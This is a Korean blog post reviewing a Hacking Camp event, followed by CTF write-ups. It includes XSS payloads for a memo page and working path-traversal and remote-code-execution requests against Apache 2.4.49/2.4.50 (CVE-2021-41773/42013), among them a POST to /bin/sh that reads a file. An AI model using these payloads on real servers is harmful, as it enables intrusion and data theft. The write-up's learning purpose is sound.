첫 해킹캠프 참가 후기
예전에 많은 블로그 사이트에서 해킹캠프 한번씩 참가해보라는 말이 있어서 이번 24회 동계 해킹캠프에 참가하게 되었습니다.
2일이라는 시간동안 유명하신분들이 오셔서 강의도 진행해주시고 조언도 많이 해주셔서 너무 유익한 시간이 됬고, 중간중간에 진행되는 이벤트를 참여하면서 정말 즐거웠었습니다.
특히 강의에서 들었던 (JavaScript Engine Exploitation 101, 웹 해커의 CTF 그리고 버그바운티, 취약점 분석 자동화) 강의가 저에게는 특히 흥미로운 주제로 들을 수 있었던 것 같아요.
전체적으로 저에게는 굉장히 만족스러운 시간이 되었던것 같고 많은 지식을 얻어갈 수 있었던 시간이였습니다.
이번 하계 해킹캠프는 꼭 오프라인으로 운영되었으면 좋겠습니다!
CTF
"깜찍토토로"라는 팀명으로 참가를 하였고 저는 Web 부분 3문제와 Misc 문제 1문제를 풀고 마무리 하였습니다.
12시간이라고 들었었는데 이번에는 6시간으로 CTF시간이 줄어서 밤샐준비 안해도 되었어서 좋았습니다 ㅎㅎ..
문제 난이도가 쉬울줄 알았는데 생각보다 많이 어려웠어서 당황했었고 많이 못풀어서 아쉽긴 하기만 복기해보는 시간으로 한번 WriteUp을 작성해보려고 합니다.
MISC - "discord로 와~"
간단하게 링크에 있는 공식 discord로 접속하면 공지 채널에서 FLAG를 확인할 수 있었습니다.
FLAG : HCAMP{Welcome_HackingCamp_X_X}
WEB - "Memo"
Description
메모를 남길 수 있는 서비스입니다. 해당 서비스의 취약점을 찾아 flag를 획득하세요!
WriteUp - Prediction
처음 페이지에 접속해보면 위와 같이 memo라고하는 input이 존재하였는데, 해당 input에 값을 아무거나 넣어보고 Enter를 눌렀을때 해당 memo가 추가되는 것을 확인할 수 있었습니다.
input이 존재하고 또 다른 취약점을 발생시킬만한 페이지가 없는것을 보니 해당 input에 어떠한 값을 넣어 취약점을 발생시켜야 할것 같다라는 예측을 하였었습니다.
WriteUp - Vuln Search
특별한 다른 소스코드가 주어지지 않았고, 페이지만 있는 것으로 보아 브라우저 개발자 도구를 이용해서 해당 페이지의 코드를 탐색했습니다.
그러다가 스크립트 태그를 발견했고 아래는 해당 js 코드를 가져온 것입니다.
let flag = 0;
// Save memo to local storage when clicking the enter button.
const form = document.getElementById('memo-form');
form.addEventListener('submit', () => {
const memo = document.getElementById('memo').value;
if (memo == "") { return ; }
const date = Date.now();
localStorage.setItem(date, JSON.stringify(memo));
});
// Convert the key from string to number.
const keyArray = Object.keys(localStorage);
keyArray.forEach((key, index) => {
keyArray[index] = Number(key);
});
// Sort memos
keyArray.sort(function(a, b) {
return a - b;
});
// Display memo
keyArray.forEach(key => {
const content = localStorage.getItem(key);
const memo = JSON.parse(content);
document.write(`<div class="memo">
<p>${memo}</p><button class="remove"><i class="fas fa-trash-alt"></i></button></div><br>`);
});
// Delete all memos
const deleteAll = document.getElementById('delete-all');
deleteAll.addEventListener('click', () => {
localStorage.clear();
location.reload();
});
// Delete memo
const removes = document.querySelectorAll('.remove');
removes.forEach((btn, index) => {
btn.addEventListener('click', () => {
localStorage.removeItem(keyArray[index]);
location.reload();
});
});
if(flag) {
var _0x1d644e=_0x1bfa;function _0x5a41(){var _0x1dc51d=['648212nEImhe','<div\x20class=\x22box\x22>./mFipVTsqLA0ixBI1G</div>','6JIGsKA','1878740WQwlmj','3563710IPbwRh','288UqbHnL','605794ZComZT','700409daJLLf','write','4622100wyIzKz','16448EMzcHD'];_0x5a41=function(){return _0x1dc51d;};return _0x5a41();}function _0x1bfa(_0x21179c,_0x36c37f){var _0x5a4135=_0x5a41();return _0x1bfa=function(_0x1bfabd,_0x2bba18){_0x1bfabd=_0x1bfabd-0x7e;var _0x43dd97=_0x5a4135[_0x1bfabd];return _0x43dd97;},_0x1bfa(_0x21179c,_0x36c37f);}(function(_0x3459f1,_0x29d380){var _0x2fc21d=_0x1bfa,_0x2473bb=_0x3459f1();while(!![]){try{var _0x18f5cf=parseInt(_0x2fc21d(0x87))/0x1+parseInt(_0x2fc21d(0x80))/0x2*(-parseInt(_0x2fc21d(0x82))/0x3)+parseInt(_0x2fc21d(0x83))/0x4+-parseInt(_0x2fc21d(0x84))/0x5+parseInt(_0x2fc21d(0x7e))/0x6+-parseInt(_0x2fc21d(0x86))/0x7+parseInt(_0x2fc21d(0x7f))/0x8*(parseInt(_0x2fc21d(0x85))/0x9);if(_0x18f5cf===_0x29d380)break;else _0x2473bb['push'](_0x2473bb['shift']());}catch(_0x453faa){_0x2473bb['push'](_0x2473bb['shift']());}}}(_0x5a41,0x88694),document[_0x1d644e(0x88)](_0x1d644e(0x81))); }
여기서 저는 코드 탐색을 통해 xss 취약점을 확인할 수 있었습니다.
// js 코드중, 일부
// Display memo
keyArray.forEach(key => {
const content = localStorage.getItem(key); // 1. memo list를 가져옴
const memo = JSON.parse(content); // 2. json 피싱 진행
document.write(`<div class="memo">
<p>${memo}</p><button class="remove"><i class="fas fa-trash-alt"></i></button></div><br>`);
// 3. document.write method에서 <p> 태그 사이의 memo 값을 그대로 삽입함
});
위와 같이 memo(input 입력값)를 localStorage에 저장한후 그대로 가져와 JSON 파싱을 진행한 다음, 3번과 같이 memo 값을 아무런 검증 절차없이 html에 삽입하기 때문에 악성 스크립트가 삽입될 수 있습니다.
즉, xss 취약점을 찾을 수 있었습니다.
WriteUp - Checking
xss 취약점을 테스트 하기 위에 저는 한번 <script>alert("vuln test")</script>를 input에 삽입한 후 결과를 확인해보았습니다.
성공적으로 스크립트 구문이 동작한 것을 확인할 수 있었고 여기서 저는 이를 이용해서 payload를 작성해 공격을 수행할 수 있었을 것 같았습니다.
WriteUp - Exploit
payload를 작성하기 전에 저는 위에서 확인했었던 js 코드중, flag 변수가 있는 것이 생각났습니다.
// js 코드중, flag 관련된 코드 일부
let flag = 0;
if(flag) {
var _0x1d644e=_0x1bfa;function _0x5a41(){var _0x1dc51d=['648212nEImhe','<div\x20class=\x22box\x22>./mFipVTsqLA0ixBI1G</div>','6JIGsKA','1878740WQwlmj','3563710IPbwRh','288UqbHnL','605794ZComZT','700409daJLLf','write','4622100wyIzKz','16448EMzcHD'];_0x5a41=function(){return _0x1dc51d;};return _0x5a41();}function _0x1bfa(_0x21179c,_0x36c37f){var _0x5a4135=_0x5a41();return _0x1bfa=function(_0x1bfabd,_0x2bba18){_0x1bfabd=_0x1bfabd-0x7e;var _0x43dd97=_0x5a4135[_0x1bfabd];return _0x43dd97;},_0x1bfa(_0x21179c,_0x36c37f);}(function(_0x3459f1,_0x29d380){var _0x2fc21d=_0x1bfa,_0x2473bb=_0x3459f1();while(!![]){try{var _0x18f5cf=parseInt(_0x2fc21d(0x87))/0x1+parseInt(_0x2fc21d(0x80))/0x2*(-parseInt(_0x2fc21d(0x82))/0x3)+parseInt(_0x2fc21d(0x83))/0x4+-parseInt(_0x2fc21d(0x84))/0x5+parseInt(_0x2fc21d(0x7e))/0x6+-parseInt(_0x2fc21d(0x86))/0x7+parseInt(_0x2fc21d(0x7f))/0x8*(parseInt(_0x2fc21d(0x85))/0x9);if(_0x18f5cf===_0x29d380)break;else _0x2473bb['push'](_0x2473bb['shift']());}catch(_0x453faa){_0x2473bb['push'](_0x2473bb['shift']());}}}(_0x5a41,0x88694),document[_0x1d644e(0x88)](_0x1d644e(0x81))); }
여기서 저는 조건문 안에 있는 코드를 해석하는것은 거의 불가능할 것 같다고 판단하여 flag 변수 값을 조작하여 해당 조건문을 실행시켜야겠다고 생각했습니다.
먼저, 위 코드의 조건문이 동작하기 위해서는 flag 변수에 값이 1이여야했습니다.
즉, 아래와 같은 script 코드를 작성해 xss 취약점을 발생시켜 flag 변수 값을 1로 만들었습니다.
<script>flag = 1;</script>
아래는 위 payload 실행 결과 입니다.
input위에 ./mFipVTsqLA0ixBI1G이라는 텍스트가 생긴것을 확인하였었습니다.
여기서 텍스트가 "./"로 시작하길래 뭔가 해당 텍스트가 파일명이라는 생각이 들었습니다.
다른 cookie가 생성된 것이 없었고, cookie를 탈취하는것은 아닌것 같았기에 해당 텍스트를 실행시켜야 겠다고 생각했습니다.
즉, 아래와 같은 payload를 작성하여서 위 텍스트를 실행시켜보았습니다.
<script src="./mFipVTsqLA0ixBI1G"></script>
페이지에는 바뀐것이 없었기에 개발자 도구에서 console 창을 확인해보았습니다.
새로운 문법애러가 발생했습니다, 오류가 발생한 위치가 mFipVTsqLA0ixBI1G인것으로 보아 해당 파일이 불러와진것으로 생각이 되서 확인해보았습니다.
위와 같이 flag가 얻어진것을 확인할 수 있었습니다.
FLAG : HCAMP{gmUBaGw0QmCG05UO5nSS}
Apache
Description
유지 보수가 진행중인 데몬팀의 웹 사이트가 있어요! 취약점을 찾아서 플래그를 획득하세요 플래그는 /this_is_flag에 있답니다.
WriteUp - Prediction
사이트에 접속해보니 "공사중"이라는 메시지와 함께 페이지에 접근할 수 없다고 말하고 있습니다.
여기서 저는 Apache/2.4.49라는 메시지를 확인할 수 있었고 뭔가 최신버전 Apache가 아닌 구 Apache 버전에서 취약점이 발생한 적이 있었을 것 같다라는 예측을 할 수 있었습니다.
문제 설명에서 flag가 /this_is_flag에 있다는 것을 말하는 것을 보니 자동적으로 Path Traversal 취약점이 있었을 것이라는 생각이 들게 되었습니다.
WriteUp - Search
"apache 2.4.49 vuln"이라는 검색어로 검색을했더니 관련 키워드가 많이 있는 것으로 보아 관련 취약점이 있었던 것같다라는 생각이 들었습니다.
저는 다음 포스트를 참고하였습니다. https://blog.qualys.com/vulnerabilities-threat-research/2021/10/27/apache-http-server-path-traversal-remote-code-execution-cve-2021-41773-cve-2021-42013
해당 포스트에서는 총 2가지 CVE에 대해서 공격예시를 알려주는데, 첫번째는 CVE-2021-41773에 관련된 공격예시를 알려주었습니다, 아래는 위 포스트의 글 일부를 가져온 것입니다.
According to CVE-2021-41773,
Apache HTTP Server 2.4.49 is vulnerable to Path Traversal and Remote Code execution attacks.
설명과 같이 Apache 2.4.49 version에서 발생한 Path Traversal 취약점과 RCE 취약점에 대해 다루고 있습니다.
위 사진과 같이 Path Traversal 취약점 예시를 확인해볼 수 있었습니다.
취약점 발생 이유를 요약하면 apache /cgi_bin 엔드포인트에서 .%2e/와 같이 접근할 경우 ../로 인식되어 상위 디렉터리에 접근할 수 있다는 것입니다.
아래는 위 포스트에 있는 내용중 일부입니다.
The path traversal vulnerability was introduced due to the new code change added for path normalization i.e., for URL paths to remove unwanted or dangerous parts from the pathname, but it was inadequate to detect different techniques of encoding the path traversal characters “dot-dot-slash (../)”
To prevent path traversal attacks, the normalization function which is responsible to resolve URL-encoded values from the requested URI, resolved Unicode values one at a time. Hence when URL encoding the second dot as %2e , the logic fails to recognize %2e as dot thereby not decoding it, this converts the characters ../ to .%2e/ and bypasses the check.
즉, 위 Exploit example 사진과 같이 /cgi_bin/.%2e/.%2e/.%2e/.%2e/etc/passwd로 접근할 경우 response 메시지 내용과 같이 root 디렉터리에 있는 passwd에 접근하여 반환된 결과를 확인할 수 있었습니다.
WriteUp - Exploit
(해킹캠프 CTF가 종료되고 난후에 작성한 WriteUp이라 사이트가 막혀 사진을 첨부할 수 없었습니다.)
저는 위에서 확인한 것과 같이 /cgi_bin/.%2e/.%2e/.%2e/.%2e/etc/passwd를 이용하면 root 디렉터리까지 접근이 가능하기 때문에 아까 문제 설명에서 언급된 /this_is_flag에 접근할 수 있을 것이라 생각하였습니다.
아래는 최종 payload입니다.
/cgi_bin/.%2e/.%2e/.%2e/.%2e/this_is_flag
페이지 URL에 해당 payload를 입력할 시 해당 payload가 url encode되어 동작하지 않으므로 저는 burp suite를 이용해서 request packet을 수정한 후 서버로 전송시켰습니다.
정상적으로 payload가 동작되면 아래와 같이 FLAG를 확인할 수 있습니다.
FLAG : HCAMP{6d1a92ab7734ae55b234ed4d8cb772baa6159e76674f8ddb03d812cc9062a1e4}
Apache v2
Description
소 잃고 외양간 고치기, 취약점을 패치했다지만 어딘가 부족한 점이 있어요.
찾아낼 수 있을까요? 플래그는 /flag 경로에 있습니다.
WriteUp - Prediction
페이지는 전과 다름이 없어 보입니다.
하지만 작은 메시지 하나가 수정된 것을 확인할 수 있었습니다.
Apache 버전이 2.4.49에서 2.4.50으로 업그레이드 되었습니다.
하지만 이 역시 Apache 최신버전이 아니었기에 관련된 취약점이 존재할 것이라고 생각했었습니다.
즉, Apache 문제와 같이 v2 문제도 관련 취약점을 찾아서 문제 설명에서 언급된 /flag를 실행시키면 될 것이라고 예측하였었습니다.
WriteUp - Search
저는 운이 좋았는지, 아까 위에서 확인했었던 포스트에서 2.4.50 version에 관련된 취약점도 다루고 있었습니다.
Apache 2.4.50 version에서는 CVE-2021-42103의 Example payload를 설명해주고 있었습니다.
Path Traversal, RCE 취약점이 여전히 존재하고 있었습니다.
아래는 위 포스트에서 CVE-2021-42013 description 중 일부를 가져온 내용입니다.
CVE-2021-42013 was introduced as the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient as it did not cover double URL encoding, therefore the vulnerable configurations remained the same, but payload used in 2.4.49 was double URL encoded in 2.4.50 to administer the same path traversal and remote code execution attack.
The attack in 2.4.49 initially encoded the second dot (.) to %2e and the same was double URL encoded into %%32%65 for version 2.4.50
설명을 요약하자면 2.4.49에서 발생한 취약점을 patch하였지만 이중 url encoding으로 인해서 여전히 2.4.50 version에서도 Path Traversal과 RCE 취약점이 존재한다는 내용입니다.
위 사진과 같이 이중 URL 인코딩을 통해서 여전히 Path Traversal과 RCE 취약점이 동작할 수 있다고 언급하고 있습니다.
"../"를 이중 URL 인코딩 할 시 %%32%65%%32%65/가 되고 이가 "../"와 같이 인식되어 상위 디렉터리를 참조할 수 있었습니다.
위는 RCE 취약점 Example payload입니다.
POST 메서드로 요청할때 경로를 root의 /bin/sh로 지정해서 shell을 사용할 수 있습니다.
WriteUp - Exploit
위에서 확인한 것과 같이 shell을 실행시켜 /flag를 읽으면 될 것 이라고 생각했습니다.
아래는 최종 payload입니다.
POST /cgi/bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
echo;cat /flag
burp suite를 이용해서 공격을 성공하게 되면 아래와 같이 FLAG가 출력됩니다.
FLAG : HCAMP{270cab0abcc907a079db4f0faf18255b744866c0d26284df60009296880832d0}
정리
제 첫 해킹캠프가 마무리 되었는데 많은 지식들도 얻어가고 다른 훌륭한 해커분들과 소통할 수 있었던 귀중한 시간이였던것 같습니다.
만약, 이번 2022년도에 하계 해킹캠프가 열릴때, 오프라인으로 진행된다면 정말 꼭 참가해서 좋은 성적을 한번 남겨보고 싶다는 생각이 들었습니다.
또한 저랑 함께 CTF 6시간동안 뛰어주신 팀원분들에게 감사하다는 마음전하고 싶습니다.
이번 24회 동계 해킹캠프 준비해주신 Demon 팀원분들, 그리고 엄청난 지식과 경험을 발표해주신 발표자분들께 정말로 감사드립니다!
'CTF Reviewed & Writeups > Hacking Camp' 카테고리의 다른 글
제 27회 하계 해킹캠프 참가 후기 및 Writeup (34) | 2023.08.31 |
---|---|
제 26회 동계 해킹캠프 참가 후기 + CTF WriteUp (33) | 2023.02.14 |
제 25회 하계 해킹캠프 참가 후기 (0) | 2022.09.03 |